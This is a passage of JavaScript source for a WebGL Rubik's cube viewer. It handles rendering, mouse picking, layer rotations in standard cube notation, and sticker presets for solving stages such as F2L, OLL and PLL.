CANVAS_X_OFFSET = 0; var CANVAS_Y_OFFSET = 0; function RubiksCube() { this.selectedCubes = [];// an instance of Cube this.rotatedCubes = null; // an array of Cubes this.rotationAxis = null; // a vec3 this.axisConstant = null; // X_AXIS, Y_AXIS, or Z_AXIS this.rotationAngle = 0; this.degrees = DEGREES; this.cubeVerticesBuffer = null; this.cubeNormalsBuffer = null; this.cubeFacesBuffer = null; this.stickerVerticesBuffer = null; this.stickerNormalsBuffer = null; this.stickerFacesBuffer = null; this.pickingFramebuffer = null; this.pickingTexture = null; this.pickingRenderBuffer = null; this.normalsCube = new NormalsCube(); this.cubes = new Array(3); this.noMove = {face:'', count:0, inverse:false}; this.currentMove = {face:'', count:0, inverse:false}; this.init = function() { this.initTextureFramebuffer(); this.initCubeBuffers(); this.initStickerBuffers(); for (var r = 0; r < 3; r++) { this.cubes[r] = new Array(3); for (var g = 0; g < 3; g++) { this.cubes[r][g] = new Array(3); for (var b = 0; b < 3; b++) { var coordinates = [r - 1, g - 1, b - 1]; var color = [r / 3, g / 3, b / 3, 1.0]; this.cubes[r][g][b] = new Cube(this, coordinates, color); } } } this.initCenters(); } this.initTextureFramebuffer = function() { this.pickingFramebuffer = gl.createFramebuffer(); gl.bindFramebuffer(gl.FRAMEBUFFER, this.pickingFramebuffer); this.pickingTexture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, this.pickingTexture); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, canvas.width, canvas.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); this.pickingRenderBuffer = gl.createRenderbuffer(); gl.bindRenderbuffer(gl.RENDERBUFFER, this.pickingRenderBuffer); gl.renderbufferStorage(gl.RENDERBUFFER, gl.DEPTH_COMPONENT16, canvas.width, canvas.height); gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, this.pickingTexture, 0); gl.framebufferRenderbuffer(gl.FRAMEBUFFER, gl.DEPTH_ATTACHMENT, gl.RENDERBUFFER, this.pickingRenderBuffer); } this.initCubeBuffers = function() { // vertices this.cubeVerticesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.cubeVerticesBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(cubeModel.vertices), gl.STATIC_DRAW); // normals this.cubeNormalsBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.cubeNormalsBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(cubeModel.normals), gl.STATIC_DRAW); // faces this.cubeFacesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, this.cubeFacesBuffer); gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array(cubeModel.faces), gl.STATIC_DRAW); } this.initStickerBuffers = function() { // vertices this.stickerVerticesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.stickerVerticesBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(stickerModel.vertices), gl.STATIC_DRAW); // normals this.stickerNormalsBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.stickerNormalsBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(stickerModel.normals), gl.STATIC_DRAW); // faces this.stickerFacesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, this.stickerFacesBuffer); gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array(stickerModel.faces), gl.STATIC_DRAW); } this.initCenters = function() { this.centerCubes = { left: this.cubes[1][1][2], right: this.cubes[1][1][0], up: this.cubes[1][0][1], down: this.cubes[1][2][1], front: this.cubes[0][1][1], back: this.cubes[2][1][1], core: this.cubes[1][1][1] } } this.init(); this.draw = function() { gl.viewport(0, 0, canvas.width, canvas.height); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); mat4.perspective(projectionMatrix, fov, canvas.width / canvas.height, 0.1, 100.0); mat4.identity(modelViewMatrix); mat4.lookAt(modelViewMatrix, eye, center, up); mat4.multiply(modelViewMatrix, modelViewMatrix, rotationMatrix); var mvMatrix = mat4.create(); for (var r = 0; r < 3; r++) { for (var g = 0; g < 3; g++) { for (var b = 0; b < 3; b++) { var cube = this.cubes[r][g][b]; cube.draw(cubeModel.ambient); for (var s in cube.stickers) { cube.stickers[s].draw(); } } } } } this.drawToPickingFramebuffer = function() { gl.bindFramebuffer(gl.FRAMEBUFFER, rubiksCube.pickingFramebuffer); gl.viewport(0, 0, canvas.width, canvas.height); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); gl.uniform1i(shaderProgram.lighting, 0); mat4.perspective(projectionMatrix, fov, canvas.width / canvas.height, 0.1, 100.0); mat4.identity(modelViewMatrix); mat4.lookAt(modelViewMatrix, eye, center, up); mat4.multiply(modelViewMatrix, modelViewMatrix, rotationMatrix); var mvMatrix = mat4.create(); for (var r = 0; r < 3; r++) { for (var g = 0; g < 3; g++) { for (var b = 0; b < 3; b++) { var cube = this.cubes[r][g][b]; cube.draw(cube.color); } } } gl.uniform1i(shaderProgram.lighting, 1); gl.bindFramebuffer(gl.FRAMEBUFFER, null); } this.drawToNormalsFramebuffer = function() { gl.bindFramebuffer(gl.FRAMEBUFFER, rubiksCube.normalsCube.normalsFramebuffer); gl.viewport(0, 0, canvas.width, canvas.height); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); mat4.perspective(projectionMatrix, fov, canvas.width / canvas.height, 0.1, 100.0); mat4.identity(modelViewMatrix); mat4.lookAt(modelViewMatrix, eye, center, up); mat4.multiply(modelViewMatrix, modelViewMatrix, rotationMatrix); var mvMatrix = mat4.create(); mat4.copy(mvMatrix, modelViewMatrix); this.normalsCube.draw(); gl.bindFramebuffer(gl.FRAMEBUFFER, null); } /* * Sets this.rotatedCubes to an array of cubes that share the same AXIS coordinate as this.selectedCubes. * AXIS is 0, 1, or 2 for the x-, y-, or z-coordinate. */ this.setRotatedCubes = function(move) { if (!this.rotationAxis) { return; } var cubes = []; beat(); position = (position + 1) %twinkle_beat.length; this.selectedCubes.forEach(function(el) { var value = el.coordinates[this.axisConstant]; for (var r = 0; r < 3; r++) { for (var g = 0; g < 3; g++) { for (var b = 0; b < 3; b++) { var cube = this.cubes[r][g][b]; if (Math.abs(cube.coordinates[this.axisConstant] - value) < MARGIN_OF_ERROR) { cubes.push(cube); } } } } }, this); if (cubes.length >= 9) { this.rotatedCubes = cubes; // is this a slice layer? var i; var that = this; cubes.forEach(function(cube, i, cubes) { if (cube.stickers.length==0) { var slices = ['S', 'E', 'M']; //x,y,z var slice = slices[that.axisConstant]; var x = that.rotationAxis[X_AXIS]; var y = that.rotationAxis[Y_AXIS]; var z = that.rotationAxis[Z_AXIS]; var sum = x+y+z; var inverse = false; inverse |= slice=='M' && sum==1; inverse |= slice=='E' && sum==1; inverse |= slice=='S' && sum==-1; // silly cube notation // update centers for slice moves var m = (move===undefined) ? 1 : move.count; while (m-- >0) { that.updateCenters(slice, inverse); } } }); } } /* * Rotates this.rotatedCubes around this.rotationAxis by this.degrees. */ this.rotateLayer = function(isDouble) { var fullTurn = isDouble ? 180 : 90; if (Math.abs(this.rotationAngle) == fullTurn) { this.rotationAngle = 0; isRotating = false; isAnimating = false; this.degrees = isInitializing ? fullTurn: DEGREES; return; } if (!isInitializing) this.degrees = 3 + DEGREES * $.easing.easeOutExpo(0, this.rotationAngle, 0, 1, fullTurn); if (this.rotationAngle + this.degrees > fullTurn) { this.degrees = fullTurn - this.rotationAngle; this.rotationAngle = fullTurn; } else { this.rotationAngle += this.degrees; } var newRotationMatrix = mat4.create(); mat4.rotate(newRotationMatrix, newRotationMatrix, degreesToRadians(this.degrees), this.rotationAxis); for (var c in this.rotatedCubes) { var cube = this.rotatedCubes[c]; vec3.transformMat4(cube.coordinates, cube.coordinates, newRotationMatrix); mat4.multiply(cube.rotationMatrix, newRotationMatrix, cube.rotationMatrix); } } this.colorToCube = function(rgba) { var r = rgba[0]; var g = rgba[1]; var b = rgba[2]; if (r == 255 && g == 255 && b == 255) { // clicked outside the cube return null; } else { return this.cubes[r % 3][g % 3][b % 3]; } } this.selectCube = function(x, y) { gl.bindFramebuffer(gl.FRAMEBUFFER, this.pickingFramebuffer); var pixelValues = new Uint8Array(4); gl.readPixels(x, y, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixelValues); gl.bindFramebuffer(gl.FRAMEBUFFER, null); this.selectedCubes.push(this.colorToCube(pixelValues)); } this.setRotationAxis = function(x, y, direction) { var normal = this.normalsCube.getNormal(x, y); if (!normal) { return; } var axis = vec3.create(); vec3.cross(axis, normal, direction); var x = Math.round(axis[0]); var y = Math.round(axis[1]); var z = Math.round(axis[2]); this.rotationAxis = Math.abs(x + y + z) == 1 ? [x, y, z] : null; if (!this.rotationAxis) { this.axisConstant = null; return; } if (x == 1 || x == -1) { this.axisConstant = X_AXIS; } else if (y == 1 || y == -1) { this.axisConstant = Y_AXIS; } else if (z == 1 || z == -1 ) { this.axisConstant = Z_AXIS; } } /* * For testing the rotation of a layer by matrix instead of layer. * Repeatedly called by doTransform to turn layer by this.degrees until 90 degrees is done */ this.transform = function(r,g,b, axis, inverse) { var rot = [ [1, 0, 0], [0, 1, 0], [0, 0, 1] ]; this.selectedCubes.push(this.cubes[r][g][b]); this.axisConstant = axis; this.rotationAxis = rot[axis]; if (inverse) vec3.scale(this.rotationAxis, this.rotationAxis, -1); this.setRotatedCubes(); isRotating = true; } /* * For testing only: timed transform of the cube, rotating a layer */ this.doTransform = function(params) { var that = this; var delay = 50; if (!isRotating) { var move = params.shift(); this.transform(move.r, move.g, move.b, move.axis); setTimeout(function() {that.doTransform(params)}, delay); } else if (params.length > 0) setTimeout(function() {that.doTransform(params)}, delay); } this.centerColors = { left: 'blue', right: 'green', up: 'yellow', down: 'white', front: 'red', back: 'orange', core: 'black' } /* rotate defined centers with a slice layer */ this.updateCenters = function(layer, inverse) { var c=this.centerCubes; var centers = { 'M': { left: c.left, right: c.right, up: c.back, down: c.front, front: c.up, back: c.down }, 'E': { left: c.back, right: c.front, up: c.up, down: c.down, front: c.left, back: c.right }, 'S': { left: c.down, right: c.up, up: c.left, down: c.right, front: c.front, back: c.back } }; var centersInverse = { 'M': { left: c.left, right: c.right, up: c.front, down: c.back, front: c.down, back: c.up }, 'E': { left: c.front, right: c.back, up: c.up, down: c.down, front: c.right, back: c.left }, 'S': { left: c.up, right: c.down, up: c.right, down: c.left, front: c.front, back: c.back }, }; if (centers[layer]) { if (inverse==true) this.centerCubes = centersInverse[layer]; else this.centerCubes = centers[layer]; this.centerCubes.core = this.cubes[1][1][1]; } } this.move = function(move) { var rot = { X: [1, 0, 0], Y: [0, 1, 0], Z: [0, 0, 1] }; var inverse = typeof move.inverse !== 'undefined' ? move.inverse : false; var L = this.centerCubes.left; var R = this.centerCubes.right; var U = this.centerCubes.up; var D = this.centerCubes.down; var F = this.centerCubes.front; var B = this.centerCubes.back; var C = this.centerCubes.core; // beat(); // position = (position + 1) %12; // is_major = !is_major; var layers = { "L": {cubies:[L], axis:Z_AXIS, rotation:rot.Z, ccw:true}, "R": {cubies:[R], axis:Z_AXIS, rotation:rot.Z, ccw:false}, "U": {cubies:[U], axis:Y_AXIS, rotation:rot.Y, ccw:false}, "D": {cubies:[D], axis:Y_AXIS, rotation:rot.Y, ccw:true}, "F": {cubies:[F], axis:X_AXIS, rotation:rot.X, ccw:false}, "B": {cubies:[B], axis:X_AXIS, rotation:rot.X, ccw:true}, // use center of cube for slices "M": {cubies:[C], axis:Z_AXIS, rotation:rot.Z, ccw:true}, "E": {cubies:[C], axis:Y_AXIS, rotation:rot.Y, ccw:true}, "S": {cubies:[C], axis:X_AXIS, rotation:rot.X, ccw:false}, "l": {cubies:[L,C], axis:Z_AXIS, rotation:rot.Z, ccw:true}, "r": {cubies:[R,C], axis:Z_AXIS, rotation:rot.Z, ccw:false}, "u": {cubies:[U,C], axis:Y_AXIS, rotation:rot.Y, ccw:false}, "d": {cubies:[D,C], axis:Y_AXIS, rotation:rot.Y, ccw:true}, "f": {cubies:[F,C], axis:X_AXIS, rotation:rot.X, ccw:false}, "b": {cubies:[B,C], axis:X_AXIS, rotation:rot.X, ccw:true}, "x": {cubies:[L,C,R], axis:Z_AXIS, rotation:rot.Z, ccw:false}, "y": {cubies:[U,C,D], axis:Y_AXIS, rotation:rot.Y, ccw:false}, "z": {cubies:[F,C,B], axis:X_AXIS, rotation:rot.X, ccw:false} }; this.selectedCubes = layers[move.face].cubies; this.axisConstant = layers[move.face].axis; this.rotationAxis = layers[move.face].rotation; // not a true counter clockwise // but instead a ccw over this axis seen from origin if (layers[move.face].ccw) inverse = !inverse; if (inverse) { vec3.scale(this.rotationAxis, this.rotationAxis, -1); } this.setRotatedCubes(move); isRotating = true; } this.perform = function(alg) { var that = this; var delay = 400; if (!isRotating && alg.length > 0) { var clone = alg.slice(0); var move = clone.shift(); // beat(); if (!move.count) move.count = 1; this.move(move); this.currentMove = move; that.setNormals = 'MESxyz'.match(move.face)!=null; setTimeout(function() {that.perform(clone)}, delay); } else { if (alg.length > 0) setTimeout(function() {that.perform(alg)}, delay); else this.algDone(); } } this.algDone = function() { if (isRotating) { setTimeout(rubiksCube.algDone, 100); } else { isInitializing = false; rubiksCube.currentMove = rubiksCube.noMove; this.degrees = DEGREES; } } this.moveListToString = function(moveList) { return moveList.map(function(move) { return move.face + (move.count==2?"2":"") + (move.inverse?"'":""); }).join(" "); } this.inverseMoveList = function(moves) { return moves.reverse().map(function(move) { return {face:move.face, count:move.count, inverse:!move.inverse}; }); } this.setStickers = function(stickers) { var positions = "FUL,FU,FUR,FL,F,FR,FDL,FD,FDR,RFU,RU,RBU,RF,R,RB,RFD,RD,RBD,DLF,DF,DRF,DL,D,DR,DLB,DB,DRB,BUR,BU,BUL,BR,B,BL,BDR,BD,BDL,LBU,LU,LFU,LB,L,LF,LBD,LD,LFD,ULB,UB,URB,UL,U,UR,ULF,UF,URF".split(','); var colors = { r:'red', g:'green', w:'white', o:'orange', b:'blue', y:'yellow', x:'gray', k:'black' //key (from CMYK) }; var r,g,b; var cube; var x,y,z; var position; var arrayRotate = function(arr, reverse){ if(reverse) arr.push(arr.shift()); else arr.unshift(arr.pop()); return arr; } for (var r = 0; r < 3; r++) { for (var g = 0; g < 3; g++) { for (var b = 0; b < 3; b++) { cube = this.cubes[r][g][b]; x = cube.coordinates[0]; y = cube.coordinates[1]; z = cube.coordinates[2]; var faces=[]; if (x === -1) faces.push('F'); else if (x === 1) faces.push('B'); if (y === -1) faces.push('U'); else if (y === 1) faces.push('D'); if (z === -1) faces.push('R'); else if (z === 1) faces.push('L'); // faces.length=1 => center // faces.length=2 => edge // faces.length=3 => corner position = faces; faces.forEach(function(value, key) { var index = positions.indexOf(position.join('')); var ch; if (stickers.length >= index+1) { ch = stickers.slice(index, index+1); if (!"rgbwoyxk".match(ch)) { ch = 'x'; } } else { ch = 'x'; } var el = cube.stickers[key]; var cr = parseInt(el.color[0]*255.0); var cg = parseInt(el.color[1]*255.0); var cb = parseInt(el.color[2]*255.0); cube.stickers[key].color = cube.COLORS[colors[ch]]; position = arrayRotate(position, true); }); } } } }; this.reset = function() { this.init(); var alg = $(canvas).data('alg'); var algType = $(canvas).data('type'); // default order of RubikPlayer faces is F, R, D, B, L, U // we start with yellow on top var defaultStickers = "rrrrrrrrrgggggggggwwwwwwwwwooooooooobbbbbbbbbyyyyyyyyy"; var stickers = $(canvas).data('stickers') || defaultStickers; var stickerSets = { CROSS: "xxxxrxxrxxxxxgxxgxxwxwwwxwxxxxxoxxoxxxxxbxxbxxxxxyxxxx", FL: "xxxxxxrrrxxxxxxgggwwwwwwwwwxxxxxxoooxxxxxxbbbxxxxxxxxx", F2L: "xxxrrrrrrxxxggggggwwwwwwwwwxxxooooooxxxbbbbbbxxxxyxxxx", SHORTCUT: "xxxxrrxrrxxxggxggxxwwwwwxwxxxxxoxxoxxxxxbxxbxxxxxyxxxx", OLL: "xxxrrrrrrxxxggggggwwwwwwwwwxxxooooooxxxbbbbbbyyyyyyyyy", PLL: "rrrxxxxxxgggxxxxxxxxxxxxxxxoooxxxxxxbbbxxxxxxyyyyyyyyy", FULL: defaultStickers }; // replace stickers by full definition of set if (stickerSets[stickers.toUpperCase()]) { stickers = stickerSets[stickers.toUpperCase()]; } this.setStickers(stickers); perspectiveView(); if (alg) { this.degrees = 90; $(canvas).parent().find('.algorithm').val(alg); var moves = parseAlgorithm(alg); if (algType === 'solver') { isInitializing = true; moves = this.inverseMoveList(moves); doAlgorithm(moves); } else { isInitializing = false; } } else isInitializing = false; }; } function Cube(rubiksCube, coordinates, color) { this.rubiksCube = rubiksCube; this.coordinates = coordinates; this.color = color; this.rotationMatrix = mat4.create(); this.translationVector = vec3.create(); this.stickers = []; this.COLORS = { 'blue': [0.1, 0.1, 1.0, 1.0], 'green': [0.1, 0.7, 0.1, 1.0], 'orange': [1.0, 0.5, 0.0, 1.0], 'red': [0.8, 0.1, 0.1, 1.0], 'white': [1.0, 1.0, 1.0, 1.0], 'yellow': [1.0, 1.0, 0.1, 1.0], 'gray': [0.5, 0.5, 0.5, 1.0], 'black': [0.0, 0.0, 0.0, 1.0] } this.init = function() { vec3.scale(this.translationVector, this.coordinates, 2); this.initStickers(); } this.initStickers = function() { var x = this.coordinates[0]; var y = this.coordinates[1]; var z = this.coordinates[2]; if (x == -1) { this.stickers.push(new Sticker(this, this.COLORS['red'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [-1.001, 0, 0]); mat4.rotateZ(modelViewMatrix, modelViewMatrix, degreesToRadians(90)); })); } else if (x == 1) { this.stickers.push(new Sticker(this, this.COLORS['orange'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [1.001, 0, 0]); mat4.rotateZ(modelViewMatrix, modelViewMatrix, degreesToRadians(-90)); })); } if (y == -1) { this.stickers.push(new Sticker(this, this.COLORS['yellow'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [0, -1.001, 0]); mat4.rotateX(modelViewMatrix, modelViewMatrix, degreesToRadians(-180)); })); } else if (y == 1) { this.stickers.push(new Sticker(this, this.COLORS['white'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [0, 1.001, 0]); setMatrixUniforms(); })); } if (z == 1) { this.stickers.push(new Sticker(this, this.COLORS['blue'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [0, 0, 1.001]); mat4.rotateX(modelViewMatrix, modelViewMatrix, degreesToRadians(90)); })); } else if (z == -1) { this.stickers.push(new Sticker(this, this.COLORS['green'], function() { this.cube.transform(); mat4.translate(modelViewMatrix, modelViewMatrix, [0, 0, -1.001]); mat4.rotateX(modelViewMatrix, modelViewMatrix, degreesToRadians(-90)); })); } } this.init(); this.transform = function() { mat4.multiply(modelViewMatrix, modelViewMatrix, this.rotationMatrix); mat4.translate(modelViewMatrix, modelViewMatrix, this.translationVector); } this.draw = function(color) { var mvMatrix = mat4.create(); mat4.copy(mvMatrix, modelViewMatrix); this.transform(); setMatrixUniforms(); gl.uniform4fv(shaderProgram.ambient, color); gl.uniform4fv(shaderProgram.diffuse, cubeModel.diffuse); gl.uniform4fv(shaderProgram.specular, cubeModel.specular); gl.uniform1f(shaderProgram.shininess, cubeModel.shininess); // vertices gl.bindBuffer(gl.ARRAY_BUFFER, rubiksCube.cubeVerticesBuffer); gl.vertexAttribPointer(shaderProgram.vertexPosition, 3, gl.FLOAT, false, 0, 0); // normals gl.bindBuffer(gl.ARRAY_BUFFER, rubiksCube.cubeNormalsBuffer); gl.vertexAttribPointer(shaderProgram.vertexNormal, 3, gl.FLOAT, false, 0, 0); // faces gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, rubiksCube.cubeFacesBuffer); gl.drawElements(gl.TRIANGLES, cubeModel.faces.length, gl.UNSIGNED_SHORT, 0); mat4.copy(modelViewMatrix, mvMatrix); } } function Sticker(cube, color, transform) { this.cube = cube; this.color = color; this.transform = transform; this.draw = function() { var mvMatrix = mat4.create(); mat4.copy(mvMatrix, modelViewMatrix) this.transform(); setMatrixUniforms(); gl.uniform4fv(shaderProgram.ambient, this.color); gl.uniform4fv(shaderProgram.diffuse, stickerModel.diffuse); gl.uniform4fv(shaderProgram.specular, stickerModel.specular); gl.uniform1f(shaderProgram.shininess, stickerModel.shininess); // vertices gl.bindBuffer(gl.ARRAY_BUFFER, cube.rubiksCube.stickerVerticesBuffer); gl.vertexAttribPointer(shaderProgram.vertexPosition, 3, gl.FLOAT, false, 0, 0); // normals gl.bindBuffer(gl.ARRAY_BUFFER, cube.rubiksCube.stickerNormalsBuffer); gl.vertexAttribPointer(shaderProgram.vertexNormal, 3, gl.FLOAT, false, 0, 0); // faces gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cube.rubiksCube.stickerFacesBuffer); gl.drawElements(gl.TRIANGLES, stickerModel.faces.length, gl.UNSIGNED_SHORT, 0); mat4.copy(modelViewMatrix, mvMatrix); } } function NormalsCube() { this.normalsFramebuffer = null; this.normalsTexture = null; this.normalsRenderbuffer = null; this.verticesBuffer = null; this.normalsBuffer = null; this.facesBuffer = null; this.COLORS = { 'blue': [0.0, 0.0, 1.0, 1.0], 'green': [0.0, 1.0, 0.0, 1.0], 'orange': [1.0, 0.5, 0.0, 1.0], 'red': [1.0, 0.0, 0.0, 1.0], 'black': [0.0, 0.0, 0.0, 1.0], 'yellow': [1.0, 1.0, 0.0, 1.0] } this.NORMALS = { 'blue': [-1, 0, 0], 'green': [0, 0, -1], 'orange': [1, 0, 0], 'red': [0, 0, 1], 'black': [0, -1, 0], 'yellow': [0, 1, 0] } this.init = function() { this.initTextureFramebuffer(); this.initBuffers(); } this.initTextureFramebuffer = function() { this.normalsFramebuffer = gl.createFramebuffer(); gl.bindFramebuffer(gl.FRAMEBUFFER, this.normalsFramebuffer); this.normalsTexture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, this.normalsTexture); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, canvas.width, canvas.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); this.normalsRenderBuffer = gl.createRenderbuffer(); gl.bindRenderbuffer(gl.RENDERBUFFER, this.normalsRenderBuffer); gl.renderbufferStorage(gl.RENDERBUFFER, gl.DEPTH_COMPONENT16, canvas.width, canvas.height); gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, this.normalsTexture, 0); gl.framebufferRenderbuffer(gl.FRAMEBUFFER, gl.DEPTH_ATTACHMENT, gl.RENDERBUFFER, this.normalsRenderBuffer); gl.bindTexture(gl.TEXTURE_2D, null); gl.bindRenderbuffer(gl.RENDERBUFFER, null); gl.bindFramebuffer(gl.FRAMEBUFFER, null); } this.initBuffers = function() { // vertices this.verticesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.verticesBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(normalsCubeModel.vertices), gl.STATIC_DRAW); // normals this.normalsBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, this.normalsBuffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(normalsCubeModel.normals), gl.STATIC_DRAW); // faces this.facesBuffer = gl.createBuffer(); gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, this.facesBuffer); gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array(normalsCubeModel.faces), gl.STATIC_DRAW); } this.init(); this.draw = function() { var mvMatrix = mat4.create(); mat4.copy(mvMatrix, modelViewMatrix); mat4.scale(modelViewMatrix, modelViewMatrix, [3, 3, 3]); setMatrixUniforms(); gl.uniform1i(shaderProgram.lighting, 0); // vertices gl.bindBuffer(gl.ARRAY_BUFFER, this.verticesBuffer); gl.vertexAttribPointer(shaderProgram.vertexPosition, 3, gl.FLOAT, false, 0, 0); // normals gl.bindBuffer(gl.ARRAY_BUFFER, this.normalsBuffer); gl.vertexAttribPointer(shaderProgram.vertexNormal, 3, gl.FLOAT, false, 0, 0); // faces gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, this.facesBuffer); var offset = 0; for (var c in this.COLORS) { var color = this.COLORS[c]; gl.uniform4fv(shaderProgram.ambient, this.COLORS[c]); gl.drawElements(gl.TRIANGLES, 3, gl.UNSIGNED_SHORT, offset); gl.drawElements(gl.TRIANGLES, 3, gl.UNSIGNED_SHORT, offset + normalsCubeModel.faces.length) offset += 6; } mat4.copy(modelViewMatrix, mvMatrix); gl.uniform1i(shaderProgram.lighting, 1); } this.colorToNormal = function(rgba) { var r = (rgba[0] / 255).toFixed(1); var g = (rgba[1] / 255).toFixed(1); var b = (rgba[2] / 255).toFixed(1); for (var c in this.COLORS) { var color = this.COLORS[c]; if (r == color[0] && g == color[1] && b == color[2]) { return this.NORMALS[c]; } } return null; } this.getNormal = function(x, y) { gl.bindFramebuffer(gl.FRAMEBUFFER, this.normalsFramebuffer); var pixelValues = new Uint8Array(4); gl.readPixels(x, y, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixelValues); gl.bindFramebuffer(gl.FRAMEBUFFER, null); return this.colorToNormal(pixelValues); } } function initWebGL(canvas) { if (!window.WebGLRenderingContext) { console.log("Your browser doesn't support WebGL.") return null; } gl = canvas.getContext('webgl', {preserveDrawingBuffer: true, antialias:true}) || canvas.getContext('experimental-webgl', {preserveDrawingBuffer: true, antialias:true}); canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; if (!gl) { console.log("Your browser supports WebGL, but initialization failed."); return null; } return gl; } function getShader(gl, id) { var shaderScript = document.getElementById(id); if (!shaderScript) { return null; } var source = ''; var currentChild = shaderScript.firstChild; while (currentChild) { if (currentChild.nodeType == currentChild.TEXT_NODE) { source += currentChild.textContent; } currentChild = currentChild.nextSibling; } var shader; if (shaderScript.type == 'x-shader/x-fragment') { shader = gl.createShader(gl.FRAGMENT_SHADER); } else if (shaderScript.type == 'x-shader/x-vertex') { shader = gl.createShader(gl.VERTEX_SHADER); } else { return null; } gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.log('An error occurred while compiling the shader: ' + gl.getShaderInfoLog(shader)); return null; } return shader; } function initShaders() { var fragmentShader = getShader(gl, 'fragmentShader'); var vertexShader = getShader(gl, 'vertexShader'); shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, fragmentShader); gl.attachShader(shaderProgram, vertexShader); gl.linkProgram(shaderProgram); if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) { console.log('Unable to initialize the shader program'); } gl.useProgram(shaderProgram); shaderProgram.vertexPosition = gl.getAttribLocation(shaderProgram, 'vertexPosition'); gl.enableVertexAttribArray(shaderProgram.vertexPosition); shaderProgram.vertexNormal = gl.getAttribLocation(shaderProgram, 'vertexNormal'); gl.enableVertexAttribArray(shaderProgram.vertexNormal); shaderProgram.eyePosition = gl.getUniformLocation(shaderProgram, 'eyePosition'); gl.uniform3fv(shaderProgram.eyePosition, eye); shaderProgram.lighting = gl.getUniformLocation(shaderProgram, 'lighting'); shaderProgram.ambient = gl.getUniformLocation(shaderProgram, 'ambient'); shaderProgram.diffuse = gl.getUniformLocation(shaderProgram, 'diffuse'); shaderProgram.specular = gl.getUniformLocation(shaderProgram, 'specular'); shaderProgram.shininess = gl.getUniformLocation(shaderProgram, 'shininess'); } function drawScene() { if (isRotating) { rubiksCube.rotateLayer(rubiksCube.currentMove.count > 1); } rubiksCube.drawToNormalsFramebuffer(); rubiksCube.drawToPickingFramebuffer(); if (!isInitializing) { rubiksCube.draw(); } } function tick() { requestAnimationFrame(tick); drawScene(); } function start(el) { canvas = el; CANVAS_X_OFFSET = $(canvas).offset()['left']; CANVAS_Y_OFFSET = $(canvas).offset()['top']; gl = initWebGL(canvas); initShaders(); rubiksCube = new RubiksCube(); perspectiveView(); if (gl) { gl.clearColor(1.0, 1.0, 1.0, 1.0); gl.enable(gl.DEPTH_TEST); gl.depthFunc(gl.LEQUAL); gl.enable(gl.CULL_FACE); gl.cullFace(gl.BACK); gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); tick(); } } function setMatrixUniforms() { var projectionUniform = gl.getUniformLocation(shaderProgram, 'projectionMatrix'); gl.uniformMatrix4fv(projectionUniform, false, projectionMatrix); var modelViewUniform = gl.getUniformLocation(shaderProgram, 'modelViewMatrix'); gl.uniformMatrix4fv(modelViewUniform, false, modelViewMatrix); var _normalMatrix = mat4.create(); mat4.invert(_normalMatrix, 